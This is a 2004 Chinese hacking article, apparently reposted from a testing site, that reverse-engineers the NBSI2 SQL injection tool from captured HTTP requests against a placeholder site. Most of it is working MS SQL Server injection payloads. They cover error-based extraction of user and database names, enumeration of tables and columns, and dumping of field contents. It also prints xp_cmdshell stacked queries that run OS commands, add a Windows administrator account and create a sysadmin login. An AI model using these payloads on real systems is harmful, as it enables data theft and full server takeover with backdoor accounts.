NBSI2内部功能实现大揭谜

NBSI2内部功能实现大揭谜


前段时间SQL注入很流行，用过小竹的NB2的人可能都知道，这个工具接近无敌，菜鸟用了它也能数秒把一个站给黑了，但是不了解其中的注入过程 可以说永远都进步不了吧~~


首先声明，我也只是菜鸟一个，正好最近在研究SQL,随便把NB2的注入过程给研究了一个，所用工具wse,相信大家不会陌生的，网上到处有得下，我给一个地址，http://www.gxgl.com/soft/WSE06b1.zip，这是一个用来监视和修改网络发送和接收数据的程序，可以用来帮助您调试网络应用程序。


废话少说，开工，先在网上随便找一个有SQL注入漏洞得站点www.testdb.net，找到一个注射点：http://www.testdb.net/article_read.asp?id=80

呵呵，www.testdb.net这个网址当然是不存在了。


过程一、取得SQl Server数据库信息

打开nb2,输入地址：http://www.testdb.net/article_read.asp?id=80，选择"get"方式，点"检测"按钮，
取得SQl Server数据库得如下信息：


多句执行：未知
子查询：支持
当前用户：test
用户权限：DB_OWNER
当前库：testdb

用过nb2的人应该都很熟悉上面的内容把~~

%20解释为空格 %2B解释为+号，%25解释为%号


HTTP/1.1 200 OK      //返回成功
HTTP/1.1 500 Internal Server Error

用wse检测Get包信息，如下：

GET /article_read.asp?id=80 HTTP/1.1

GET /article_read.asp?id=80%20and%20user%2Bchar(124)=0 HTTP/1.1
即：article_read.asp?id=80 and user+char(124)=0 
    char(124)为字符@#|@#

GET /article_read.asp?id=80;declare%20@a%20int-- HTTP/1.1
即：article_read.asp?id=80;declare @a int--
//判断是否支持多句查询

GET /article_read.asp?id=80%20and%20(Select%20count(1)%20from%20[sysobjects])>=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80%3Bdeclare+%40a+int%2D%2D; ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即：article_read.asp?id=80 and (Select count(1) from [sysobjects])>=0
//判断是否支持子查询

GET /article_read.asp?id=80%20And%20user%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即：article_read.asp?id=80 And user+char(124)=0
//取得当前用户
user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将

nvarchar的值转成int型，转的过程中肯定会出错，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”east_asp” 转

换数据类型为 int 的列时发生语法错误，呵呵，east_asp正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。and user>0


GET /article_read.asp?id=80%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)

=1 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即：article_read.asp?id=80 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1

函数说明：

IS_SRVROLEMEMBER指明当前的用户登录是否是指定的服务器角色的成员。

语法
IS_SRVROLEMEMBER ( @#role@# [ , @#login@# ] )

参数
@#role@# 被检查的服务器角色的名称。role 的数据类型为 sysname。
 role 有效的值是： sysadmin,dbcreator,diskadmin,processadmin,serveradmin,etupadmin,securityadmin

@#login@#

将要检查的登录的可选名称。login 的数据类型为 sysname，默认值为 NULL。如果未指定，那么使用当前用户的登录帐户。

select Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124) 结果为"1|"


GET /article_read.asp?id=80%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1

HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即：article_read.asp?id=80 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1

select Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124) 结果为"1|",和上面得返回结果一样，但注意

IS_MEMBER里面的那一长字符串和上面的不一样，不知代表什么意思，0x730079007300610064006D0069006E00转化后为"|O|@ E "，本以为

是"sysadmin"类似的字串，但看来不是，算了，不想了，呵呵，但我想，其作用应该是取得当前用户的权限把，如：DB_OWNER


GET /article_read.asp?id=80%20And%20db_name()%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即：article_read.asp?id=80 And db_name()+char(124)=0
这一句，看到有一个db_name()函数，不用多说，大家应该知道了，db_name()是另一个系统变量，返回的是连接的数据库名。

到次，获取SQL数据库信息的过程算是分析完毕。

另：post方法不再详细分析，大家可自己看一下，下面是post方法时抓的包，具体同Get方法基本一样,主要看最后一行的信息。
其中也用到很多技巧：如下：

id=80%20and%20user%2Bchar(124)=0
id=80@#%20and%20user%2Bchar(124)=0%20and%20@#@#=@#
id=80%25@#%20and%20user%2Bchar(124)=0%20and%20@#%25@#=@#
id=80%20And%201=1
id=80%20And%201=2
id=80@#%20And%201=1%20And%20@#@#=@#
id=80@#%20And%201=2%20And%20@#@#=@#
id=80%25@#%20And%201=1%20And%20@#%25@#=@#
id=80%25@#%20And%201=2%20And%20@#%25@#=@#

//////////////////////////////////////////////

过程二、猜解表名

Top1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%201%20id,name%

20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1

即：article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from
    [testdb]..[sysobjects] Where xtype=char(85) order by id) T order by id desc)>0
    char(85)=@#U@#

作用是取得testdb数据库第一个表的表名，以此类推Top N,可以取得其它的表名。


Top2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%202%20id,name%

20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1

...

TopN


wse抓获的包信息：

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%201%20id,name%

20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

...........

//////////////////////////////////////////////

过程三、根据某个表名猜解列名
表名：article

Top1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%201%

20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%

2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%

2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1

即：article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From
    [testdb]..[syscolumns] Where id = OBJECT_ID(NCHAR(101)+NCHAR(97)+NCHAR(115)+NCHAR(116)+NCHAR(104)+NCHAR(111)+
    NCHAR(116)+NCHAR(46)+NCHAR(46)+NCHAR(65)+NCHAR(82)+NCHAR(84)+NCHAR(73)+NCHAR(67)+NCHAR(76)+NCHAR(69))
    Order by colid) T Order by colid desc)>0

作用是取得article表的第一个列的列名，以此类推Top N,可以取得其它的列名。

函数说明：

OBJECT_ID 返回数据库对象标识号。

语法 OBJECT_ID ( @#object@# )

参数  @#object@#
要使用的对象。object 的数据类型为 char 或 nchar。如果 object 的数据类型是 char，那么隐性将其转换成 nchar。

返回类型 int


NCHAR(101)+NCHAR(97)+NCHAR(115)+NCHAR(116)+NCHAR(104)+NCHAR(111)+NCHAR(116)+NCHAR(46)+
NCHAR(46)+NCHAR(65)+NCHAR(82)+NCHAR(84)+NCHAR(73)+NCHAR(67)+NCHAR(76)+NCHAR(69)

对应于字符串 testdb..ARTICLE

即是：article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From
      [testdb]..[syscolumns] Where id = OBJECT_ID(@#testdb..ARTICLE@#)
      Order by colid) T Order by colid desc)>0


Top2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%202%

20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%

2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%

2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1


TopN

...


wse抓获的包信息：

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%201%

20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%

2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%

2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

...............

//////////////////////////////////////////////

过程四、根据列名猜解字段内容

字段名:Title

Top1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%

20From%20(Select%20Top%201%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20

[TITLE]%20desc)>0 HTTP/1.1


即：article_read.asp?id=80 And (Select Top 1 isNull(cast([TITLE] as varchar(8000)),char(32))+char(124)
    From (Select Top 1 [TITLE] From [testdb]..[ARTICLE] Where 1=1 Order by [TITLE]) T Order by [TITLE] desc)>0

作用是取得TITLE字段的第一行记录的值，以此类推Top N,可以取得其它行的值。

Top2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%

20From%20(Select%20Top%202%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20

[TITLE]%20desc)>0 HTTP/1.1


TopN

...


wse抓获的包信息：


//取得article表的记录数
GET /article_read.asp?id=80%20And%20(Select%20Cast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20[testdb]..[ARTICLE]%

20Where%201=1)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

//取得Article表的Title字段的第一条记录内容

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%

20From%20(Select%20Top%201%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20

[TITLE]%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

...............

//////////////////////////////////////////////

到此，数据库的表名，字段名及字段内容的分析基本结束，再看一下其它主要功能的分析。


过程五、执行Dos命令和执行SQL语句

执行Dos命令  dir c:\


////////////////////////////////////////////////
回显抓包分析：

GET /article_read.asp?id=80%20And%20db_name()%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0


GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20@#Dir%20C:\%20>%20C:\NB_Commander_Txt.log@#;DROP%20TABLE%

20NB_Commander_Tmp;CREATE%20TABLE%20NB_Commander_Tmp(ResultTxt%20varchar(7996)%20NULL);BULK%20INSERT%20[testdb]..

[NB_Commander_Tmp]%20FROM%20@#C:\NB_Commander_Txt.log@#%20WITH%20(KEEPNULLS);Alter%20Table%20NB_Commander_Tmp%20add%20ID%

20int%20NOT%20NULL%20IDENTITY%20(1,1)-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

主要是这个：

article_read.asp?id=80;EXEC MASTER..XP_CMDSHELL @#Dir C:\ > C:\NB_Commander_Txt.log@#;
                       DROP TABLE NB_Commander_Tmp;CREATE TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);
                       BULK INSERT [testdb]..[NB_Commander_Tmp] FROM @#C:\NB_Commander_Txt.log@# WITH (KEEPNULLS);
                       Alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY%20(1,1)--


BULK INSERT 以用户指定的格式复制一个数据文件至数据库表或视图中。
KEEPNULLS 指定在大容量复制操作中空列应保留一个空值，而不是对插入的列赋予默认值。
具体的详细介绍请查看T-sql语法，有详细说明。

上面语句的功能就是就是将执行Dos命令Dir c:\的结果保存到一个文件NB_Commander_Txt.log中，然后将此文件的内容写入到新建的临时表

NB_Commander_Tmp，并增加一个自增长字段ID，相信大家很容易看明白。


ID=1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null%20then%20@#|@#%20else%20ResultTxt%

2B@#|@#%20End%20From%20NB_Commander_Tmp%20Where%20ID=1)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C+%3E+C%

3A%5CNB%5FCommander%5FTxt%2Elog%27%3BDROP+TABLE+NB%5FCommander%5FTmp%3BCREATE+TABLE+NB%5FCommander%5FTmp%

28ResultTxt+varchar%287996%29+NULL%29%3BBULK+INSERT+%5Btestdb%5D%2E%2E%5BNB%5FCommander%5FTmp%5D+FROM+%27C%3A%5CNB%

5FCommander%5FTxt%2Elog%27+WITH+%28KEEPNULLS%29%3BAlter+Table+NB%5FCommander%5FTmp+add+ID+int+NOT+NULL+IDENTITY+%281%2C1%29%

2D%2D

即：article_read.asp?id=80 And (Select Top 1 CASE WHEN ResultTxt is Null then @#|@# else ResultTxt+@#|@# End
                                From NB_Commander_Tmp Where ID=1)=0

输入第一条回显结果，以下同，TopN输入所有的回显结果。


ID=2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null%20then%20@#|@#%20else%20ResultTxt%

2B@#|@#%20End%20From%20NB_Commander_Tmp%20Where%20ID=2)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C+%3E+C%

3A%5CNB%5FCommander%5FTxt%2Elog%27%3BDROP+TABLE+NB%5FCommander%5FTmp%3BCREATE+TABLE+NB%5FCommander%5FTmp%

28ResultTxt+varchar%287996%29+NULL%29%3BBULK+INSERT+%5Btestdb%5D%2E%2E%5BNB%5FCommander%5FTmp%5D+FROM+%27C%3A%5CNB%

5FCommander%5FTxt%2Elog%27+WITH+%28KEEPNULLS%29%3BAlter+Table+NB%5FCommander%5FTmp+add+ID+int+NOT+NULL+IDENTITY+%281%2C1%29%

2D%2D

ID=N

...............


输出显示：
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
...
...
...

如果正常没有问题，会输出C:\下所有的文件，出现上面的提示，可能原因是数据表NB_Commander_Tmp没有创建成功，因此不能正确输出。
////////////////////////////////////////////////

不回显抓包分析：
Dos命令 Dir C:\

GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20@#Dir%20C:\@#-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BDROP+TABLE+NB%5FCommander%5FTmp%3BEXEC+MASTER%2E%2EXP%

5FCMDSHELL+%27DEL+C%3A%5CNB%5FCommander%5FTxt%2Elog%27%2D%2D

即：article_read.asp?id=80;EXEC MASTER..XP_CMDSHELL @#Dir C:\@#--
不需要显示输出结果。

输出显示：
命令执行完成

////////////////////////////////////////////////
Dos命令：
net user TsInternetUsers Password /add

GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20@#net%20user%20TsInternetUsers%20Password%20/add@#-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C%27%2D%2D

执行其它Dos命令都同上。
id=80;EXEC MASTER..XP_CMDSHELL @#net user TsInternetUsers Password /add@#--
id=80;EXEC MASTER..XP_CMDSHELL @#net localgroup administrators TsInternetUsers /add@#--


执行SQL命令(同执行Dos命令)


GET /article_read.asp?id=80;exec%20master..sp_addlogin%20UserName,Password-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%

27net+user+TsInternetUsers+Password+%2Fadd%27%2D%2D

id=80;exec master..sp_addlogin UserName,Password--
id=80;exec master..sp_addsrvrolemember UserName,sysadmin--
....

////////////////////////////////////////////////

到此，Nb2的主要功能分析完毕，其它的功能大家可以自己分析，第一次写这么长的文章，可能很乱，也一定存在不少问题，不过实在没有精力

去逐字修改了，希望大家能看明白。谢谢！

 

                                                              hnxyy(虚空)
                                                              2004/11/26  晚 10:30

 

原文转自：http://www.ltesting.net